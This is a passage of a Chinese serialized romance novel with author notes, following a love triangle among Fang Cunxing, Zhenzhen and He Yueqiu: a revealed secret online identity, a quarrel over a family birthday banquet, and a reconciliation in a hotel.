方寸行单手插兜,冷冷地注视着人群中那对并肩的人。 他知道就凭那么几句话,没可能让甄甄和贺越邱一刀两断,只是当时心底忽然生出了那么一种冲动的奢望,强硬地控制了大脑,莫名地就让他口不择言。 现在这种结果,也只能说在意料之中。 “滴”的一声,微信消息提醒响了。 方寸行掏出手机,看清的那一刻脸色黑沉,手指猛地扣住边沿,用力到挤出条条白痕—— 贺越邱置顶了新的朋友圈,一张是甄甄捧着花,清艳明丽不可方物;一张是两个重叠在一起的影子,彼此纠缠不休。 背景都是在星火娱乐的大楼。在他眼皮子底下。 方寸行呼吸加快,心脏跳得又重又痛,险些就要把手机砸在地上。 这算什么?这是报复?!可他的接近,他的试探,不都源自于贺越邱的默许吗?现在又是什么意思!! 方寸行深深地闭了闭眼,警告着自己,他不能,不可以,再为甄甄牵动心神。 该尽早抽身。 就趁一切还来得及。 方寸行近乎慌张地退出微信,手指一抖,却又划到后台另一个软件,下意识地点进去最近访问的那个账号。 反应过来后,又面露烦躁。他现在哪有心情看什么H总。 方寸行正要点取关,余光瞥到昨日动态,动作忽地僵住,瞳孔也在一瞬间放得极大,死死地盯着那张照片。 那是…… 度假山庄的温泉? 不会有错……不会错。 他亲自定的地方,亲眼见到过他们在里面如何交欢,那氤氲的雾气、打湿的地面,都曾刺痛过他的眼睛。 刹那间,方寸行气血倒流,心跳如鼓,耳鸣不止。 他脑海中甄甄捧着花的画面和温泉照片来回交叠,两个名字也忽大忽小地在眼前反复闪过,从前以为风马牛不相及的联想突如重锤般落地,砸得他猝不及防。 “咚”地一声,手机掉在地上。 方寸行僵直地抬起头,连连后退,已经震惊到无可复加。 他的思维一片空白,只剩下一个残忍到极致的声音,一遍遍地贴在耳边重复着: 甄甄,就是zz。 方寸行嘴唇颤抖着,想说些什么,却只能失声的,哑然地张了张,到最后竟有些癫狂地笑起来。 他看着手机后台被一分为二的两张照片,一半纯洁得好像处女,一半又是文字修饰过的婊子,多么讽刺,多么荒唐。 而这一切都只属于贺越邱,属于H—— 作者有话说:老方要发疯了 因为我个人比较恶俗的xp,这本想看一个完全反差的故事,比如甄甄这样美好的一个人被打碎,比如贺越邱霸道的性格彻底臣服,前期可能看不出来多虐,所以有的宝们就当甜文看了,但本质上它是一个阴间狗血文,后续甄甄会进食障碍,会ptsd,追妻部分安排在这之后,虐身虐心都有。 希望大家看文愉快,禁梦攻禁逆体位基本礼仪之外可以随便发表评论,我没有删除过评论也不会删除禁言(除非真的太过分了随意攻击其他读者) 骂攻骂配角骂我都行,毕竟文是我写出来的,不要骂受,比如骂他贱啊之类的,爱一个人没有错,他只是爱得太认真 感谢支持,鞠躬撒花 第23章 第 23 章 “你和贺越邱分手吧。”…… 从小到大, 理智、克制,都是贴在方寸行身上最大的标签,哪怕是他一手打拼出来的公司遭遇影视寒冬险些破产, 他都从来没有慌乱过。 然而在得知贺越邱就是H, 甄甄就是zz时, 他永远都保持冷静的大脑纷乱无章, 仿佛台风过境后剩的一地狼藉。 方寸行根本不敢相信——叫他怎么将现实中接触过这么久的人, 一个干净漂亮、活泼开朗的小男生,和H文字下那个痴缠撒娇、予取予求的zz,看作是一个人? 可潜意识又充满着恶意地告诉他,其实你早就透过zz联想到甄甄过, 不是吗? 你在为文字中那份畸形关系而躁动不安时, 脑海里想起的, 不就是这具现实中看到过、触碰过的纤细的身体? 察觉真相的恐慌如同落地窗前的阳光, 无处不在地缠绕在方寸行每一寸皮肤上,带来窒息般的痛苦。他踉跄着扶住办公桌,一张苍白的脸倒映在锃亮的桌面上, 眼睛里是藏不住的仓惶。 这样的自己让方寸行无比陌生,就在前一刻, 他还侥幸地想着,还好、还好,他陷得还不够深, 可以说抽身就抽身。 直到现在, 他才彻底清醒,或许是从答应贺越邱的邀请开始,或者再早一点,在他的目光第一次落在甄甄身上, 他就已经打开了那个装着魔鬼的盒子,被卷入风暴眼里。 绝望中,一股没由来的愤怒从骨缝里丝丝缕缕地析出,代替血液游走在方寸行身体中的每一处,令他不受控制地想—— 甄甄知道吗?他知道贺越邱用另一种身份,大方地分享着他们之间的私密情事,纵容甚至是引导着他一步步走近他吗? 如果是知道的话,如果…… 方寸行自己都觉得这样的想法很无理,很荒谬,他凭什么生出来被背叛的念头? 可他就像入了魔一样,没办法停下。 在针扎似的痛楚中,方寸行又记起起甄甄的眼睛,那么明亮,那么干净,叫他见过一次就牢牢记在心里。 方寸行又神经质地推翻自己的揣测,为甄甄辩驳洗脱,他全心全意地喜欢着贺越邱,那种爱就像篝火,连靠近的人都会被烫到。他一定不是自愿成为zz的,是受了蒙骗、上了当。 贺越邱才是那个罪魁祸首,是他欺骗了一个付出真心去爱的人。 这个想法诞生的一瞬间,方寸行便像洪水中抓到稻草的人,终于找到了一丝希望,很快便深信不疑。他要告诉甄甄真相,让他离开贺越邱,离开这个只会让他伤心的恶魔。 方寸行冲出办公室,秘书处还有人加班没走,惊恐地看着那个张皇失措的背影,不敢想这是发生了什么天塌的大事,才会让一向遇事冷静的老板着急成这样。 戴维一边夹着手机和客户通电话,一边翻着公文包,见方寸行这样失态,简直跌破眼镜。 方寸行却根本没看见他一样,几步就从他面前跑过。 戴维赶紧挂了电话追上去,在电梯打开前拦住方寸行:“发生咩事啊,你点解咁急嘅?” 方寸行被他抱住,喘着气,深沉地看着他。 戴维让这眼神看得后背直发凉,那一瞬间连公司破产该跳槽到哪家友商都想好了:“影帝去年出轨的事儿被狗仔挖出来了?还是歌后官宣出柜了?总不能是新捧的男团爆嫂子了吧!我早就说不要开娱乐公司,哪天不是一堆麻烦事,你就是不听我的……你别光瞪着我——表哥你说句话啊!” 这么不着调的话竟让方寸行奇异地冷静下来,除了猩红的眼球和杂乱的呼吸能看出他曾失控外,和平时没什么两样。 他深吸口气,平静地问戴维:“H总的更新你看了吗?” “……啊?” 戴维见鬼似的看着方寸行,好似人生25年,头一遭认识他这个表哥。 方寸行重复道:“看了吗?” 戴维仔细思考了半天他的动机,迟疑道:“看……没看……这到底和你发疯有什么关系?难不成你想当法外狂徒,把H总和zz签下来,让他们下海拍GV吗?” 方寸行冷酷地看着他。 戴维冷汗直流:“我看了!行了吧!这是什么很光彩的事吗?!” 方寸行追问道:“温泉那条?” “昂!” “你……” 方寸行不知道该怎么问,含糊地说,“你认出来那是哪里的温泉了吗?” “天底下温泉这么多,我咋知道那是哪儿?”戴维翻了个白眼,如数家珍道:“一看你就是才关注的假粉,土耳其棉花堡,匈牙利塞切尼,日本的神奈川,新西兰彩色香槟池——这些大火的温泉景点,H总哪年不带zz去几次?昨天那个野鸡温泉有什么值得特别关注的吗?” 方寸行为“野鸡温泉”四个字沉默了片刻,在考虑是否该撤了戴维的年终奖。 又轻轻地松出口气,心里一块巨石落地。 戴维算得上最早关注H那批人,既然连他都无法通过那条更新联想到甄甄,说明其他人应该也都没有往这方面想过。自然,也就不用纠着心,替甄甄恐慌身份暴露的风险。 也就是说,现在全世界只有两个人知道zz指代着现实中的谁。 这是一个令人头晕目眩的秘密,就仿佛他也参与其中,从独占着甄甄的贺越邱那里,分得一点儿甜头。 方寸行为此而生出一丝他唾弃的,又不受控制的暗喜。 戴维见他又转身离开,不免疑惑:“你不是急匆匆地要去处理事吗?这会儿怎么又跟个没事人一样了。” “没什么。你忙吧,没你的事了。” 戴维:“……神经。” 方寸行彻底冷静下来了。 刚刚是他太冲动,没有经过妥善考虑,就不顾一切地想将真想都告诉甄甄。但现在思前想后,方寸行明白绝不能这么做。 分手是一定要想办法让他们分的,这点上方寸行早已下定决心。但甄甄那么喜欢贺越邱,如果让他知道这件事,恐怕会带去不可挽回的后果—— 只是和贺越邱的感情破灭倒也还好,可要是甄甄接受不了真相,冲动之下做出伤害自己的事呢?到时候怎么办? 他再一次验证了甄甄不知道账号的猜测,否则以甄甄的脾气,早就和贺越邱闹得无法收场了。 所以,这个秘密,方寸行绝不能让甄甄知道。 第二天上班,贺越邱照旧一大早就起来做饭,又送甄甄到公司,俨然一个宠妻好男友形象,不过依旧没能得到甄甄的好脸色,没有投怀送抱、更没有分别吻。 在他幽怨的目光中,甄甄无情地甩门而去。 贺越邱唉声叹气,想着这无妻徒刑到底什么时候是个头啊。 甄甄今天也有拍摄计划,就打算先到秘书处把包放下再去白芳那儿,准备走的时候被方寸行叫住:“忙完来我办公室。” 甄甄纳闷了:“公司还有我能帮得上忙的地方?” “……你倒是对自己的工作能力很有数。” “那到底是什么事?” 方寸行咳了声,只说:“别忘记。” 甄甄虽然不喜欢方寸行,总觉得他太能装了,嘴巴又毒,还爱挑拨是非,但客观上讲,这确实是个很靠谱的人,不会满嘴跑火车。 所以他没把这话当恶作剧,正因如此,总有种不好的预感,心里沉甸甸的。 拍摄一结束,甄甄便立刻去方寸行的办公室找他。 他顺手关上门,挡去同事们八卦的视线:“你到底要跟我说什么?搞得神神秘秘的,别是什么疯狂星期四v我50这种烂玩笑。” 方寸行定定地看着甄甄,毫无预兆地,沉声道:“你和贺越邱分手吧。” 甄甄的表情跟见了鬼似的:“你知道自己在说什么吗?” 方寸行面不改色,郑重其事地说:“你和贺越邱根本就不是一个世界的人,你们不合适,硬要凑在一起,最后只会收获一地鸡毛。不如趁现在沉没成本不大,尽早一刀两断,从此桥归桥、路归路。” 甄甄只觉得好荒谬,都气笑了:“你铺垫一天,就为跟我说这些?你知不知道你现在这种状态很像电视剧里演的场景,下一步就要从西装兜里掏出五百万的支票让我离开贺越邱了。” “如果这样就可以让你们分手的话。”方寸行点点头,还真准备打电话让戴维拿张卡进来。 甄甄这下能确定,方寸行真的疯了。 “打住,我不稀罕你的臭钱。无论你给我多少,我都不可能和贺越邱分手的。我爱他,我和其他人不一样,我不图他的钱,我只要他的真心。” 这句话说完甄甄自己都觉得演爽了,他从答应和贺越邱在一起后就总是会在脑子里演这种分手戏码,虽然现在大家都会骂这种剧情就是编剧屎吃多了才写出来的,可他还是觉得拒绝支票追求真爱的举动,真是太有种了。 因为这句话也不只是戏言。 甄甄知行合一地认为,只要他和贺越邱真心相爱,除非生离死别,就没有任何人任何事能把他们分开。 方寸行知道甄甄不会轻易放弃这段感情,他既嫉妒,又不忍心。 贺越邱到底凭什么能得到甄甄毫无保留的爱呢? 天底下,怎么会有这样不讲理的事。 方寸行只能用最伤人的话去刺激甄甄:“我还以为你至少要多闹几天,没想到这么快就跟贺越邱和好了。看来你那天的眼泪是白流了,根本没有意义。” 甄甄一下子不再神气,这两天贺越邱的确是做小伏低,把道歉和宝贝挂在嘴边,但他心底始终有一个疙瘩,现在被方寸行翻出来,难免又揪着疼。 他知道方寸行说的都是实话,反驳不了,只能嘴硬地说一句:”别人的家事,你管这么多干什么,见不得人好是不是?” 方寸行嗤笑道:“我见不得你好?我只是见不得你犯蠢。是不是贺越邱对你做再过分的事,只要事后稍微说两句好话哄哄,你就又记吃不记打地跟上去?” “我……我才没有!我知道谁真心对我好。” 甄甄眼神慌乱,反驳得很心虚。 “你确定贺越邱真的对你没有保留?” 方寸行问得甄甄心慌,他有些惊恐地看着男人的嘴巴,害怕从那里面说出来什么自己无法接受的话,想转身离开,却被一句话叫住,愣在原地。 “看到我办公桌上的请柬了吗?贺叔叔派助理亲自送来的。五月初他做六十大寿,在香山台风光大办,国内外但凡叫得上号的名流都受到了邀请。你呢?” 方寸行冷笑道:“贺越邱邀请你了吗?” 甄甄脑子里“嗡”地一声,晕眩感一阵阵袭来,险些要站不住。看着他陡然失血的唇色,方寸行忍着心痛,残酷地说:“贺越邱跟你说这段时间很忙是不是?那他有没有告诉你,除了公司的事,这半个多月,他都在替他父亲操办寿宴?” 方寸行拿起请柬,翻到内页,扔在他脚边。 甄甄呆呆地低下头,恰好可以看得清清楚楚,洋洋洒洒一大篇,阐明时间地点,落款处五个大字,‘贺越邱敬上’。 是他熟悉的笔迹,刚劲锋锐,入木三分。 像刀子一样,扎进甄甄眼睛里。 方寸行说:“这倒是也不怪你,圈里的人都知道贺越邱跟他家里关系不好,这是事实,我不否认。他确实因为他母亲早逝,恨透了他父亲,连带着恨后进门的继母和同父异母的弟弟。也许贺叔叔的确更偏爱小儿子,但我想你至少应该清楚一点,商人唯利是图,最终继承家业的人是贺越邱。即使他恨这个家里的每一个人,他和贺家也永远分割不开。而你不是,你被排除在外。” 甄甄愣愣地,看着请柬,又抬头看着方寸行,他说的每一个字他都明白意思,可组合在一起,他又不明白。 甄甄不知道自己是怎么走出方寸行办公室的,他没有办法说话,心脏痛得发不出声。那红底黑色的几个大字还浮在眼前,像熊熊大火,烧着他,把眼泪都烧干了。 方寸行定定地注视着那道令人心碎的背影,用尽力气,克制住不追上去。 戴维看到甄甄失魂落魄地从办公室出来,一直往前走,快撞到玻璃门了也不停,赶紧一把拽住他:“你做乜嘢啊靓女?” 甄甄木木地摇了摇头,牙齿磕碰着,话说不利索:“我、我不知道……” 戴维皱皱眉,想着他可能是拍摄累到了:“我带你去茶水间睡会儿?反正快下班了,到时候等你对象来接。” 听到贺越邱的名字,甄甄忽然应激似的,反手抓住戴维,艰难地挤出一句完整的话:“不……我不用他接,我、我也没事,我出去买杯水,你别担心。” 甄甄怎么都不让戴维跟着,他不想让别人看到自己这副模样,他现在脑子很乱,必须得、必须得一个人静静。 贺越邱今天提前到了,在车里等了半个多小时也没见到人,他坐不住,进大楼里找。 贺越邱有内部权限,一路畅通无阻,想着还是第一次到甄甄办公的地方找他,说不准能看到甄甄一脸正经认真工作的样子,心情还有点小激动。 不过好心情在找了一圈也没找到人后戛然而止,贺越邱拽住戴维,他记得这个金毛和甄甄关系还挺好:“甄甄呢?” 戴维说:“早下班了,你没看到吗?” 贺越邱放开戴维,嘴角的弧度渐渐落下来:“走了?” 戴维觉得这人真奇怪,跟听不懂人话似的,不耐烦地点点头。 贺越邱扭头,脖子“咔咔”地响,扫了一圈秘书处。 格子间工工整整,一览无余,他甚至能一眼认出甄甄的工位。 但工位上没有人。 早上说好下班要等他,可现在,甄甄不见了—— 作者有话说:来晚了,真的越写越难憋[爆哭] 我顶不住了,野牛你自己挨骂吧 撑一撑能让野牛破防的人马上就快来了—— 第24章 第 24 章 甄甄这辈子,左右都是在…… 看到贺越邱没找着甄甄时, 方寸行就知道他会闯进自己办公室,眼神安抚戴维让他先出去,才又对上贺越邱的视线, 淡淡道:“有什么事儿?” “在我跟前就别装了, 有意思吗。” 贺越邱走到方寸行办公桌前, 毫不在意地坐上去, 随手拿起一座木质雕像把玩, 笑道:”我没看错,你确实挺有本事,无论哪方面。” 方寸行置若未闻,只说:“你们不合适, 分了更好。” “那你倒是说说, 我们哪儿不合适了?” 贺越邱放下雕像, 笑眯眯地看着方寸行, 表情明明再正常不过,可方寸行的心还是提到了嗓子眼儿。 他清楚地感受到贺越邱藏在表象下的危险与试探,真正想问的恐怕是你知道多少。 方寸行肯定不能说, 至少现在不是时候。就算贺越邱心知肚明,但在他没把这两人拆散之前, 这层窗户纸都不能捅破。 他不敢赌贺越邱到底想做什么,万一这会伤害到甄甄怎么办? 方寸行稳了稳呼吸,冷静道:“我跟甄甄也是这么说。你们两个根本不是一个世界的人, 你们之间……差距太大了, 最终不会幸福的。选择分手,对你好,对甄甄也好。” 贺越邱冷不丁冒出一句:“对你也好吧?” 方寸行抿唇,无言以对。 贺越邱嗤笑一声, 指了指他:“瞧你这样儿。” 方寸行的所作所为向贺越邱证明了,他的眼光确实挑不出错,回报率果然很高。可错就错在,方寸行干得太好了,居然真的影响到了甄甄对他的判断,平添了许多不必要的麻烦。 这就不太愉快了。 贺越邱厌恶这种隐约超出控制的感觉,也在考虑要不要收手。 但想到甄甄对自己的感情,他那么爱他,贺越邱又有恃无恐,决定暂时不动方寸行,看看他到底还能翻出些什么浪来。 “我们之间的关系不需要你来揣测评判,你的这些想法都是自以为是。说的做的,也都只不过是无用功而已。难不成你以为几句话就能让甄甄跟我分手?未免太自信了。” 方寸行不置可否:”可以试试看。” 贺越邱看着他,半响,点头笑道:“那我拭目以待。” 他大步流星地走出星火娱乐,到车里坐了会儿,给朋友打去电话,让他帮忙找找这附近所有酒店六点之后的入住名单,有甄甄的信息就知会一声。 贺越邱不着急。 刚开荤时他不知节制,甄甄受不了,也往外躲过,但从来不乱跑。他不觉得他会走太远,这个人,这辈子,左右都是在自己手心里。 华灯初上,贺越邱拎着西服,敞开领子,沿着河边散步。 朋友发来几条语音和截图,甄甄晚上七点入住的酒店,离他的定位只有八百米,走路就到了。 贺越邱想在北京找个人,太容易了。 他向朋友道了谢,收起手机,疾步走到酒店楼下,没急着上去,先抽了根烟,整理好情绪,才在前台的指引下上楼找人。 “笃笃。” 酒店服务员来敲门,甄甄忙说了声马上,走到门口,刚拉开一条缝,表情立刻变得惊慌,想把门关上,贺越邱抬手搭在铜制把手上,稍稍用点力,他就怎么也抽不动这扇门了。 走廊灯光带着些暧昧地昏黄,衬得甄甄泛红的眼角不像哭过,而像是某种旖旎后的痕迹。 贺越邱很高,他低头往下看,甄甄巴掌大的脸,下巴尖尖的,锁骨深深凹进去,整个人就纸片那么薄,透着股惹人可怜的劲儿。 跟猫爪子轻轻挠了下似的,贺越邱心底的那点不愉快烟消云散,缓声道:“让我先进去。” 甄甄不说好,也不说滚,就死犟地紧紧攥着门把,纤细的手指像小葱一样拱起来,手背长着蜿蜒的青筋。 他这样,贺越邱就知道他现在得要人哄,自己得主动。 高大的个子硬往里挤,把男孩打横抱起来,轻手轻脚地放在酒店大床上,拿粗粝的拇指擦掉因为自己而掉下的眼泪。 “就这么生气,都离家出走了?” 甄甄撇过头,只留给贺越邱一个清瘦的侧脸,露出优美的脖颈线条。 他这几天好像又瘦了,下颌线锋锐得像刀尖,瞧着弱不经风的样。 他不说话,偶尔抽泣一声,吸着鼻子,装作没事人。 对甄甄,贺越邱是软硬都吃,但尤其见不得他真哭,这下再也没前几天那种看小狗闹脾气的心态了,单膝抵着地面,拉着他的手包住,声音放得很温柔。 “方寸行又给你说什么了?不管是因为什么事生我的气,你总要把缘由告诉我吧,否则我连哄都不知道该怎么哄我家宝贝。” 甄甄的心跳顿了一下,回过劲后,只觉得好讽刺,‘我家宝贝’,这个家包括贺家吗? 甄甄知道方寸行那番话是在挑拨离间,原因不清楚,但目的很明确,就是想让他跟贺越邱分手。他也知道自己如果足够信任对方,就不应该轻易听信他人一面之词。可那样的事实就摆在眼前,在他相信贺越邱工作繁忙的说辞,担心他身体、体谅他情绪的时候,他得到的是谎言,是欺骗。 甄甄从不奢望不属于自己的东西,贺家再怎么有权有势,这份荣华富贵,他也从未觊觎过。去不去贺父的寿宴、见不见贺越邱的家人,这些真的都不重要。 从始至终,甄甄难过的、害怕的,都只是贺越邱不在乎自己;想要的,重要的,始终都是希望贺越邱能够真诚地对他。 他会十倍百倍回报这份真诚的。 他这么想着,眼泪夺眶而出,珍珠般一颗颗滚下来,溅在贺越邱的手背上,实实在在地烫了他一下。 贺越邱猛地抬起头,心疼地吻着他,低声道:“别哭,别哭宝贝,求你告诉我到底怎么了,我看你哭,我心里也好不是滋味。” 有人安慰,甄甄更加哭得停不下来。他也不知道自己怎么会有这么多眼泪,好像永远也流不完,好像生来就是要为贺越邱流的。 贺越邱站起身,把他抱在怀里,紧紧地贴着,去吻他发尖、吻他额头。 甄甄哽咽得吐不清字,也依旧努力地说着:“你为什么,为什么骗我,明明就是,要给你爸爸办寿宴,却骗我是在,在忙公司的事。我还信了,我担心你累,你骗、骗我,你骗我。” 贺越邱费了一番功夫才听清,闻言哭笑不得,甄甄却哭得更伤心了,他又忙解释道:“我没骗你,真的没有。这段时间集团投资了新产业,风险评估、资金预算……这些我都得亲自过目。除此之外,你说的寿宴那事儿,我确实在替我爸操办,但这种规格的宴会有专业团队策划,我最多就是拟定场地和宾客名单,其他真用不着我操心。这事我也不想干,老不死的拿股份压我,我只能两头跑。” 甄甄哭着说:“我是,我是傻子吗,你说不想回家,又瞒着我给你爸爸做寿,其实你就是、就是不想带我见你家里人,你没把我当回事。” 贺越邱这下真是跳进黄泉也洗不清了,一边给甄甄擦着眼泪,一边说:“我是不想带你回去,我自己都不想回去,那对奸夫/淫/妇有什么好见的?但我不知道这样会让你误会,我对天发誓,我他妈要早知道那老不死的过个生日能弄出这么一堆破事,我还给他办什么六十大寿,直接找个殡葬团队送他归西得了。” 甄甄还有空纠正贺越邱:“你不许这么说你家人。” 贺越邱无奈道:“你怎么还给他们说话?行行行,我不骂了。” 他拿出手机,把购票信息翻出来给甄甄看:“你20号生日,又是情人节,我早就买好了去非洲的机票,想带你去看角马大迁徙。这段时间这么忙,就是为了挤出来时间陪你过生日。要说我忽略了你的情绪,惹你生气,这我认;但你要说我没把你当回事,不带你回贺家是因为不愿意给你名分,这顶帽子太大了,这我可真不认。别的都不说——我们在一起快四年了,这些年里我对你好不好,你自己还感觉不到吗?” 这样推心置腹的一番话让甄甄停下了哭泣,他眨着湿润的睫毛,弄得眼底痒痒的,有点儿不敢相信地,小声问:“真、真的吗?” “比你名字还真。” “你还贫嘴!” 贺越邱简直头疼,甄甄怎么就跟个小体马尔济斯似的呀?那么丁点儿,哭不得、笑不得,更凶不得,声音稍微一大,就瑟瑟发抖地躲进沙发底下,把人都急死了也不出来。 他真是拿他没办法,抓着他的手,打了自己嘴巴几下:“不说了不说了,我说一句错一句。” 甄甄抿抿唇,小声说:“那也是你咎由自取,难道还怪我吗。” 贺越邱笑道:“那我可不敢。” 又替他拨开被泪水沾湿,黏在脸颊上的头发:“这会儿不难受了吧?看看,都哭成兔子眼了。” 甄甄不说话,把他手机拿过来仔细翻了翻,确实没作假。 他这会儿回过劲,又有点儿不好意思了。 他把手机塞回去,说:“你把机票退了吧,我这个月接了很多拍摄,抽不开身,我们在家里过生日就行。” 人一哄好,贺越邱那欠劲又上来了,他顺势坐到甄甄旁边,床沿跟着压下去,笑道:“不能是嫌机票太贵,给老公省钱吧?笨蛋,这点儿算什么,我挣那些钱都是你的,可劲花就对了。要不是航线不好申请,我都带你坐私家飞机去了,一年就过一次生日,怎么开心怎么来呗。” 甄甄推他:“你少来……我真没时间。再说了,谁过生日跑非洲看角马大迁徙啊,在动物世界看看得了。” “搁一望无际的非洲大草原上看角马群奔腾,多带劲,多浪漫啊?你要是不喜欢,等过年我带你去看超级碗,那个更带劲。” 甄甄无语了一下,“你这个暴力狂。” 贺越邱不管,扑倒甄甄,压在他身上,乱亲乱摸了一阵,把人搞得喘不上来气,才大声笑道:“这才是暴力狂。” 甄甄只觉得身上压了一辆重卡,胸口直发闷,推半天都推不动,最后反倒把自己累得翻白眼。 贺越邱又抱着他翻身,对换了个方向,满足道:“憋这么几天,可算让我碰一下了。” 甄甄徒劳地挣了挣,发现没用后果断放弃,在男人胸膛上瘫成一滩猫饼。 贺越邱不老实地揉了一把,跟棉花糖似的手感,感叹道:”这一身也就这儿长点肉了。” 甄甄抖了一下,羞得要爬开,被贺越邱按住,本能地塌下腰,反应过来后耳尖红得滴血,忙又拱起来。 贺越邱就这么看着他在自己身上爬上爬下,给撩得一肚子火,抬手“啪”地声,打了下屁股。 “我怕你今晚再哭一场就脱水了,从进来就忍着,你倒是挺肆无忌惮,故意勾引我呢?” 甄甄马上不敢动了,乖乖地趴在男人身上。 贺越邱的呼吸里都带着火星子,抓着甄甄的手,泄愤似的磨着牙:“你这几天算是把我折腾惨了,回去看我怎么收拾你。” 甄甄闭上眼,假装自己没听见。 贺越邱就凑在他耳朵边说,是句很下流的荤话。 甄甄连手指尖都变粉了,细细地发着抖,完全承受不住的样子。 贺越邱亲他一口,“行了,别招我了。” 甄甄脸发着烫,失神地想,这酒店不是他为了离家出走才开的吗,为什么现在好像完全变成他和贺越邱出来开房了。 还没等他想明白,贺越邱又问:“我爸的寿宴,你想去吗?想去我就带你回贺家。我是讨厌那一家子,但是只要你能开心,我都无所谓。” 甄甄立马就要点头。他思想还挺传统的,总觉得就算他和贺越邱不是异性情侣,都是男的,国内没办法结婚,但两个人在一起了,总归是要过家里人那关的,否则像什么话了?不就成无媒苟合了吗? 但他又考虑到贺越邱对家人的排斥,犹豫一番,还是摇摇头,拒绝了。 甄甄不想贺越邱为难,逼他去和不喜欢的人共处一室。 贺越邱将他的纠结都看在眼里,心里涌过一股暖流,感动地亲了一口。 “没事儿,你想去就去。到时候我去应酬客人,不搭理他们就是了。”贺越邱看着甄甄的眼睛,认真道:“那些人我都不在乎,我只在乎你,只考虑你。” 这话叫甄甄怎么不开心呢,他捧住贺越邱,用软乎乎的唇瓣,去亲他下巴长出的胡茬,缩在他怀里,轻轻地说:“好吧,我不生气了。” 贺越邱拿下巴蹭蹭他的头发,心满意足。 但甄甄忽然的一句话,又让他呼吸顿住:“这事儿就算翻篇了。除了这个,你没有其他事瞒着我了吧?” 贺越邱清楚地听见胸腔中陡然加速的心跳声,“噗通”、“噗通”,几乎叫他耳鸣。 他压下那没由来的心慌,平静道:“没有。我哪还有事瞒着你?” “有也没关系,你现在告诉我,我不会生气的。但你要是撒谎,让我发现了,肯定不放过你。” 贺越邱笑道:“真没有。” 甄甄满意了,抬起头,亲亲他喉结:“没有就好,以后也不能骗我。” “好。” 甄甄想起这两天跟贺越邱闹的这一出,有点臊得慌,恨不得把自己变成个小人,往贺越邱西装口袋里一钻,藏起来不叫他看见。 他在男人身上扭来扭去,哼哼唧唧地说:“朕就这么轻易地原谅了贺公子,会不会太骄纵了你。” 贺越邱就心痒他这黏黏糊糊又作里作气的劲儿,迫不及待道:“那甄甄大王想怎么处置我?” “嗯……罚你买一台相机,作为我的生日礼物。” 贺越邱追问道:“还有呢?” “还有?” 他不死心地暗示:“比如侍寝什么的。” 甄甄哼哼两声,坐在贺越邱腰上,压住扭蹭着,近乎无声地吐出一个能让全世界男人都疯狂的称呼。贺越邱急得眼睛赤红,要解皮带,甄甄却又按住他手,不让他动。 贺越邱喉结滚动着,急切道:“给我,宝贝儿。” 甄甄把火挑起来了,却一翻身滚下来,躲进被子,把自个儿裹成严严实实一个白汤圆,声音闷闷地从里面传出来: “赐自宫。” 贺越邱气疯了,皮带被他硬生生扯断。 “我他妈今晚干不死你,我就不姓贺!”—— 作者有话说:明天,也就是周六,要上夹子了,所以晚上十一点更新,上完夹子尽量恢复到下午六点,但因为我没存稿,码得有点艰难,不更会说的 这几天一直憋更新都差点忘记,庆祝入v,这章给大家发小红包,谢谢大家的支持[猫爪] 下章回贺家,新人物出场(希望能如愿写到!) 第25章 第 25 章 得了得了,把甄甄当闺女…… “今天下班不可以再偷偷跑掉了。”贺越邱结束这个吻, 替甄甄解开安全带,调侃道:“像你这样娇生惯养的家小狗,在外面是抢不过那些流浪狗的, 到时候毛脏了、肚子饿瘦了, 呜呜汪汪地躲在纸盒子里, 只能踩着自己肚子假装是棉绒狗窝, 想回家都找不到路, 多可怜啊。” 甄甄不好意思、又气恼地推了他一把:“你才是狗,有事没事就抱着我啃。” 贺越邱跟块巨石一样纹丝不动,反手按住甄甄,扒拉着他的头发, 假装在认真地找什么东西:“耳朵呢?” 甄甄拽住耳垂给他看:“两只都在这呢!” 挨了甄甄一记拧肉, 贺越邱享受地勾起嘴角:“我说那种毛绒绒的狗耳朵。” “你烦不烦!”甄甄“啪”地一声拍开那只手, 拉下副驾驶的化妆镜, 整理自己乱掉的发型。 贺越邱收回手,支在方向盘上,满眼笑意地看着甄甄, 这认真劲儿,跟楼下那只天天举着鸡腿梳毛的小橘猫一模一样:“成天臭美个没完, 小女孩才这么爱漂亮。” 甄甄翻个白眼,都懒得搭理。 他打开车门,贺越邱跟着下车:”我送你上去, 还能多跟你待会儿。” 甄甄眼神一闪:“不用了, 你公司离这儿远,要再耽误时间,等会儿早高峰,堵得都走不动。” “行吧, 我下午早点过来,你工作别太累。”贺越邱临走前又要了个goodbye kiss。 甄甄松了口气,他其实希望贺越邱下午也不要过来,甄波的事还没解决,说不准还在蹲点,像上次那样一看见他就直接冲上来。要是贺越邱也在,都不知道该怎么解释。 他叔婶这一家,是打从骨子里遗传的贪得无厌,甄甄忍了十几年,他那时候太小,除了顺从没有其他更好的办法。但至少现在,他不可能再让他们从自己身上得到任何好处,也别想打贺越邱的主意。 哪怕贺越邱再有钱,随手就能把甄波打发,甄甄也不接受,谁的钱也不是大风刮来的,凭什么给这种泼皮无赖。 如果甄波再来—— 甄甄下定决心,他到时候就去报警,哪怕甄波真的疯了,跑去网上胡说八道,最后拼个两败俱伤,他也绝不让欺负自己的人尝到一点甜头。 但甄甄担心的事并没有发生,这几天都风平浪静,甄波没有再出现过。甄甄也从一开始的惴惴不安,到后面渐渐松懈,他有侥幸心理,推测可能是那次后方寸行加强了安保,甄波找不到机会,久而久之就放弃了。 想到方寸行,甄甄还有点心虚,有点不敢见他。 他知道自己这些行为要是去小红书发帖会被喷祝锁死一胎九宝,方寸行也很像那种我重生在劝阻恋爱脑闺蜜分手却被她老公砍死那天的冤种主角,可…… “‘可他对我好啊!’,你如果敢把这句话说出来,我马上就给我表哥打电话,让他来制裁你。” 戴维真想拿金币收买他的远房表亲戴夫,撑杆跳进甄甄的房子,看看他的大脑到底是个什么构造,连僵尸都不乐意吃。 甄甄叹了口气:“唉,跟你这种处男没话讲。” 戴维拿起文件夹敲了下他的脑袋:“智者不入爱河,笨蛋重蹈覆辙。” 甄甄说:“等你遇到那个让你甘愿变成笨蛋的人,你就知道,爱情本来就是两个傻子的游戏。” 戴维忽然前倾,凑近甄甄,摇摇食指,压低了声音,说起粤语时抑扬顿挫:“同你讲,冇人可以使我李佳航变成傻佬。” 甄甄愣了下,他又很快回身,挥挥手里的文件:“好啦,我要去送资料,你努力工作先。” 甄甄顺嘴问了句:“什么资料啊?” “呃……就,给S+剧男主做的背调资料,没什么哈哈哈。” 戴维一说完,跟有人撵他似的,转身几步就走远了。 甄甄一喊,他跑得更快了。 白芳凑过来,无语道:“他一直都这么神经吗?” 甄甄点头:“在配合医生治疗了。” 